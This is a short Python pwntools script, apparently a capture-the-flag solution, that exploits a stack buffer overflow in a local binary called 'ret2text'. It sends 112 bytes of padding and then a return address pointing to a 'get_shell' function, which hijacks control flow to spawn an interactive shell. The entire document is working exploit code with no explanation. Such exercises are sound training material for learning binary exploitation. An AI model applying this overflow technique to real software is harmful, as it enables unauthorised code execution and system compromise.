#! /usr/bin/python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 howpwn <finn79426@gmail.com>
#
# Distributed under terms of the MIT license.

from pwn import *
p = process("./ret2text")

get_shell = 0x804863a

padding = cyclic(112)

p.sendline(padding + p32(get_shell))

p.interactive()

